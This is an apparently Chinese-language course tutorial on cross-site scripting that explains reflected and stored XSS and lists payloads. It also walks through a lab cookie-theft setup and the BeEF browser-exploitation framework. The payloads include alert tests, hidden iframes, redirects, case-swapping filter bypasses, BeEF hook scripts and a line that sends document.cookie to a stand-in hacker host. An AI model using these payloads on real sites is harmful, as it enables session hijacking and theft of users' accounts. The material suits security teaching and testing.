一、xss簡介
跨站腳本攻擊,英文全稱是Cross Site Script,本來縮寫是CSS,但是爲了和層疊樣式表(Cascading Style Sheet, CSS)有所區別,所以在安全領域叫做“XSS”。XSS是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。
原理:通常指黑客通過“HTML注入”篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。
XSS是指惡意攻擊者利用網站沒有對用戶提交數據的進行轉義或過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去,使別的用戶訪問都會執行相應的嵌入代碼。從而盜取用戶資料,利用用戶身份進行某些動作或者對訪問者進行病毒侵害的一種攻擊方式。
提交的代碼會被當做字符串輸出在html頁面中,瀏覽器會根據標籤識別爲JS語句,並會執行它,執行彈框操作,也就是說,可以執行其他JS代碼,因此我們驗證了XSS漏洞的存在性。
前面提到的文件上傳、sql注入漏洞都是攻擊服務器,而xss是在客戶的客戶端進行攻擊。
二、xss攻擊的危害
- 盜取各類用戶賬號,如機器登陸賬號、用戶網站賬號、各類管理員賬號
- 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
- 盜竊企業重要的具有商業價值的資料
- 非法轉賬
- 強制發送電子郵件
- 網站掛馬
- 控制受害者機器向其他網站發起攻擊
三、xss漏洞的驗證
我們可以用一段簡單的代碼,驗證和檢查漏洞的存在,這樣的代碼叫做PoC
PoC 漏洞的驗證與檢測
EXP 漏洞的完整利用工具
shellcode 利用漏洞時所執行的代碼
payload 攻擊載荷
sqlmap 攻擊代碼的模版
驗證XSS 漏洞存在的PoC如下:
<script>alert(/xss)</script> 彈框
<script>confirm('xss')</script> 確認框
<script>prompt('xss')</script> 輸入框
四、xss原理
第一集10:33 27:19
- 反射型
反射型XSS只是簡單地把用戶輸入的數據“反射”給瀏覽器。也就是說,黑客往往需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功。反射型XSS也叫做“非持久型XSS”(Non-persistentXSS)。
- 存儲型
存儲型XSS會把用戶輸入的數據“存儲”在服務器端。這種XSS具有很強的穩定性。比較常見的一個場景就是,黑客寫下一篇包含有惡意JavaScript代碼的博客文章,文章發表後,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的JavaScript代碼。黑客把惡意的腳本保存到服務器端,所以這種XSS攻擊就叫做“存儲型XSS”。存儲型XSS通常也叫做“持久型XSS”(Persistent XSS),因爲從效果上來說,它存在的時間是比較長的。
- xss主要原因
過於信任客戶端提交的數據 - xss主要分類:
– 反射型xss攻擊:又稱爲非持久性跨站點腳本攻擊,它是最常見的類型的xss。漏洞產生的原因是攻擊者注入的數據反應在響應中。一個典型的非持久性xss包含一個帶有xss攻擊向量的鏈接(即每次攻擊需要用戶的點擊)
– 存儲型xss攻擊:又稱爲持久型跨站點腳本,它一般發生在xss攻擊向量(一般指xss攻擊代碼),存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久性的xss相比非持久性xss攻擊危害性更大,因爲每當用戶打開頁面,查看內容時腳本將自動執行。
五、構造xss腳本
- 常用html標籤
<iframe> iframe 元素會創建另外一個文檔的內聯框架(即行內框架)
<testarea> 該標籤定義多行的文本輸入控件
<img> 該元素向網頁中嵌入一幅圖像
<script> 該標籤用於定義客戶端腳本,比如JavaScript,script元素既可以包含腳本語句,也可以通過src屬性指向外部腳本文件。必需的type屬性規定腳本的mime類型,JavaScript的常見應用時圖像操作、表單驗證以及動態內容更新
- 常用的JavaScript方法
alert alert()方法用於顯示帶有一條指定消息和一個確認按鈕的警告框
windows.location 該對象用於獲得當前頁面的地址,並把瀏覽器重定向到新的頁面
location.href 返回當前顯示的文檔的完整url
onload 一張頁面活一幅圖像完成加載
onsubmit 確認按鈕被點擊
onerror 在加載文檔活圖像時發生錯誤
- 構造xss腳本
彈框警告:
此腳本實現彈框提示,一般作爲漏洞測試或者演示使用,類似於sql注入漏洞測試中的單引號,一旦此腳本執行,也就意味着後段服務器沒有對特殊字符做過濾<>/' 這樣就可以證明,這個頁面位置存在了xss漏洞
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
頁面嵌套:
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
頁面重定向:
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
彈框警告並重定向:
<script>alert("請移步到我們的新站");location.href="http://www.qfedu.com"</script>
<script>alert('xss');location.href="http://10.1.32.12/mutillidae/robots.txt"<s/cript>
這裏結合了一些社工的思想,例如,通過網站私信的方式將其發給其他用戶,如果其他用戶點擊並且相信了這個信息,則可能在另外的站點重新登陸賬號
訪問惡意代碼:
<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://beff_ip:3000/hook.js"></script> 結合beff收集用戶的cookie
巧用圖片標籤:
<img src="#" οnerrοr=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js></img>
繞開過濾的腳本:
大小寫 <ScrIpt>alert('xss')<SCRipt>'
字符編碼 採用url base64等編碼
收集用戶cookie
打開新窗口並且採用本地cookie訪問目標網頁,打開新窗口並且採用本地cookie訪問目標網頁
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)
五、反射型XSS
低級別代碼對上傳的內容沒有做任何過濾,所以這裏可以用上面提到的彈窗警告進行測試
六、存儲型XSS
存儲型XSS(持久型XSS)即攻擊者將帶有XSS攻擊的鏈接放在網頁的某個頁面,例如評論框等;用戶訪問此XSS鏈接並執行,由於存儲型XSS能夠攻擊所有訪問此頁面的用戶,所以危害比較大。
手工低
1. 攻擊1 彈框警告:滲透機 kali Linux端操作
text1
<script>alert('yangge')</script>
如下圖所示:
按照上面提交以後,任何一臺機器只要訪問這個頁面就會出現該彈框
2. 攻擊2 獲取cookie:滲透機Kali Linux端操作
(1)構建收集cookie服務器
—服務器上創建文件cookie_rec.php
—編輯文件內容:
—給目錄加權限
(2)構造XSS代碼並注入到Web服務器
上面一步提交以後,上服務器查看之前文件夾是否有新生成一個文檔(目前爲空)
(3)等待肉雞觸發XSS代碼,並將cookie發送到Kali
另外一個用戶訪問該頁面以後,cookie被正確提交。此時上服務器查看上面新生成的文檔,裏面就有一個cookie值
(4)cookie利用
七、自動化XSS
7.1 BeFF簡介
Browser Exploitation Framework(BeFF)
BeFF是目前最強大的瀏覽器開源滲透測試框架,通過XSS漏洞配合JS腳本和Metasploit進行滲透;BeFF是基於Ruby語言編寫的,並且支持圖形化界面,操作簡單。
官網地址:http://beefproject.com/
信息收集:
- 網絡發現
- 主機信息
- cookie獲取
- 會話劫持
- 鍵盤記錄
- 插件信息
持久化控制:
- 確認彈框
- 小窗口
- 中間人
社會工程:
- 點擊劫持
- 彈框告警
- 虛假頁面
- 釣魚頁面
滲透攻擊:
- 內網滲透
- CSRF攻擊
- DDOS攻擊
- Metasploit
7.2 BeFF基礎
啓動Apache和BeFF:
service apache start
啓動成功以後,頁面如下:
A黑客在wev ui頁面中注入hook的代碼,然後B和C用戶訪問了被滲透的頁面,打開BeFF軟件,可見如下內容:
命令顏色:
綠色 :對目標主機生效並且不可見(不會被發現)
橙色:對目標主機生效但可能可見(可能被發現)
灰色:對目標主機未必生效
紅色:對目標主機不生效